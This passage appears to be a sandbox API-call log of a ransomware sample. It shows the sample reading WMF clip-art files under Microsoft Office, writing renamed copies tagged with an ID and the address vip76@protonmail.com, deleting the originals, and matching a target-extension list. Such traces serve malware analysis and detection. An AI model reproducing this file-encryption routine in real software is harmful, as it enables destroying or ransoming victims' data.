	[0176.609] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x670, lpOverlapped=0x0) returned 1
	[0176.637] WriteFile (in: hFile=0x594, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x680, lpOverlapped=0x0) returned 1
	[0176.639] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.639] WriteFile (in: hFile=0x594, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.639] SetEndOfFile (hFile=0x594) returned 1
	[0176.639] CloseHandle (hObject=0x594) returned 1
	[0176.640] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.640] SetEndOfFile (hFile=0x580) returned 1
	[0176.642] CloseHandle (hObject=0x580) returned 1
	[0176.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0176.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1
	[0176.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0176.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0176.643] lstrlenW (lpString=".doc") returned 4
	[0176.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.643] lstrlenW (lpString=".docx") returned 5
	[0176.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.643] lstrlenW (lpString=".pdf") returned 4
	[0176.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.643] lstrlenW (lpString=".xls") returned 4
	[0176.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.643] lstrlenW (lpString=".xlsx") returned 5
	[0176.643] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.644] lstrlenW (lpString=".ppt") returned 4
	[0176.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0176.644] lstrlenW (lpString=".zip") returned 4
	[0176.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.644] lstrlenW (lpString=".rar") returned 4
	[0176.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.644] lstrlenW (lpString=".bz2") returned 4
	[0176.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.644] lstrlenW (lpString=".7z") returned 3
	[0176.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0176.644] lstrlenW (lpString=".dbf") returned 4
	[0176.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0176.644] lstrlenW (lpString=".1cd") returned 4
	[0176.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0176.644] lstrlenW (lpString=".jpg") returned 4
	[0176.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0176.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0176.644] lstrlenW (lpString=".doc") returned 4
	[0176.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.644] lstrlenW (lpString=".docx") returned 5
	[0176.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.644] lstrlenW (lpString=".pdf") returned 4
	[0176.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.644] lstrlenW (lpString=".xls") returned 4
	[0176.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.645] lstrlenW (lpString=".xlsx") returned 5
	[0176.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.645] lstrlenW (lpString=".ppt") returned 4
	[0176.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0176.645] lstrlenW (lpString=".zip") returned 4
	[0176.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.645] lstrlenW (lpString=".rar") returned 4
	[0176.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.645] lstrlenW (lpString=".bz2") returned 4
	[0176.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.645] lstrlenW (lpString=".7z") returned 3
	[0176.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0176.645] lstrlenW (lpString=".dbf") returned 4
	[0176.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0176.645] lstrlenW (lpString=".1cd") returned 4
	[0176.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0176.645] lstrlenW (lpString=".jpg") returned 4
	[0176.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.645] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0176.645] lstrlenW (lpString="HH00685_.WMF") returned 12
	[0176.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0176.646] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4032) returned 1
	[0176.646] CloseHandle (hObject=0x580) returned 1
	[0176.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220
	[0176.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0176.647] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.647] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0176.647] GetLastError () returned 0x0
	[0176.647] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0xfc0, lpOverlapped=0x0) returned 1
	[0176.650] WriteFile (in: hFile=0x594, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xfd0, lpOverlapped=0x0) returned 1
	[0176.652] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.652] WriteFile (in: hFile=0x594, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.652] SetEndOfFile (hFile=0x594) returned 1
	[0176.652] CloseHandle (hObject=0x594) returned 1
	[0176.652] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.652] SetEndOfFile (hFile=0x580) returned 1
	[0176.655] CloseHandle (hObject=0x580) returned 1
	[0176.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0176.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1
	[0176.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0176.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0176.657] lstrlenW (lpString=".doc") returned 4
	[0176.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString=".docx") returned 5
	[0176.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.657] lstrlenW (lpString=".pdf") returned 4
	[0176.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString=".xls") returned 4
	[0176.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.657] lstrlenW (lpString=".xlsx") returned 5
	[0176.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.657] lstrlenW (lpString=".ppt") returned 4
	[0176.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0176.657] lstrlenW (lpString=".zip") returned 4
	[0176.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.657] lstrlenW (lpString=".rar") returned 4
	[0176.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString=".bz2") returned 4
	[0176.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString=".7z") returned 3
	[0176.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0176.657] lstrlenW (lpString=".dbf") returned 4
	[0176.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0176.657] lstrlenW (lpString=".1cd") returned 4
	[0176.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0176.657] lstrlenW (lpString=".jpg") returned 4
	[0176.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0176.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0176.658] lstrlenW (lpString=".doc") returned 4
	[0176.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.658] lstrlenW (lpString=".docx") returned 5
	[0176.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.658] lstrlenW (lpString=".pdf") returned 4
	[0176.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.658] lstrlenW (lpString=".xls") returned 4
	[0176.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.658] lstrlenW (lpString=".xlsx") returned 5
	[0176.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.658] lstrlenW (lpString=".ppt") returned 4
	[0176.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0176.658] lstrlenW (lpString=".zip") returned 4
	[0176.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.658] lstrlenW (lpString=".rar") returned 4
	[0176.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.658] lstrlenW (lpString=".bz2") returned 4
	[0176.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.658] lstrlenW (lpString=".7z") returned 3
	[0176.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0176.658] lstrlenW (lpString=".dbf") returned 4
	[0176.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0176.658] lstrlenW (lpString=".1cd") returned 4
	[0176.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0176.658] lstrlenW (lpString=".jpg") returned 4
	[0176.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.659] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0176.659] lstrlenW (lpString="HH00687_.WMF") returned 12
	[0176.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0176.659] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4340) returned 1
	[0176.659] CloseHandle (hObject=0x580) returned 1
	[0176.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220
	[0176.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0176.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0176.660] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.660] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0176.661] GetLastError () returned 0x0
	[0176.661] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x10f4, lpOverlapped=0x0) returned 1
	[0176.662] WriteFile (in: hFile=0x594, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1100, lpOverlapped=0x0) returned 1
	[0176.663] ReadFile (in: hFile=0x580, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.663] WriteFile (in: hFile=0x594, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.664] SetEndOfFile (hFile=0x594) returned 1
	[0176.664] CloseHandle (hObject=0x594) returned 1
	[0176.664] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.664] SetEndOfFile (hFile=0x580) returned 1
	[0176.666] CloseHandle (hObject=0x580) returned 1
	[0176.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0176.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1
	[0176.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0176.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0176.667] lstrlenW (lpString=".doc") returned 4
	[0176.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.667] lstrlenW (lpString=".docx") returned 5
	[0176.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.667] lstrlenW (lpString=".pdf") returned 4
	[0176.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.667] lstrlenW (lpString=".xls") returned 4
	[0176.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.668] lstrlenW (lpString=".xlsx") returned 5
	[0176.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.668] lstrlenW (lpString=".ppt") returned 4
	[0176.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0176.668] lstrlenW (lpString=".zip") returned 4
	[0176.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.668] lstrlenW (lpString=".rar") returned 4
	[0176.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.668] lstrlenW (lpString=".bz2") returned 4
	[0176.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.668] lstrlenW (lpString=".7z") returned 3
	[0176.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0176.668] lstrlenW (lpString=".dbf") returned 4
	[0176.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0176.668] lstrlenW (lpString=".1cd") returned 4
	[0176.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0176.668] lstrlenW (lpString=".jpg") returned 4
	[0176.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0176.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0176.668] lstrlenW (lpString=".doc") returned 4
	[0176.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.668] lstrlenW (lpString=".docx") returned 5
	[0176.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0176.668] lstrlenW (lpString=".pdf") returned 4
	[0176.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.668] lstrlenW (lpString=".xls") returned 4
	[0176.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.669] lstrlenW (lpString=".xlsx") returned 5
	[0176.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0176.669] lstrlenW (lpString=".ppt") returned 4
	[0176.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0176.669] lstrlenW (lpString=".zip") returned 4
	[0176.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.669] lstrlenW (lpString=".rar") returned 4
	[0176.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.669] lstrlenW (lpString=".bz2") returned 4
	[0176.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.669] lstrlenW (lpString=".7z") returned 3
	[0176.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0176.669] lstrlenW (lpString=".dbf") returned 4
	[0176.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0176.669] lstrlenW (lpString=".1cd") returned 4
	[0176.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0176.669] lstrlenW (lpString=".jpg") returned 4
	[0176.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.669] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0176.669] lstrlenW (lpString="HH00688_.WMF") returned 12
	[0176.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0176.670] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=7084) returned 1
	[0176.670] CloseHandle (hObject=0x580) returned 1
	[0176.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220
	[0177.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0177.623] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.623] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0177.714] GetLastError () returned 0x0
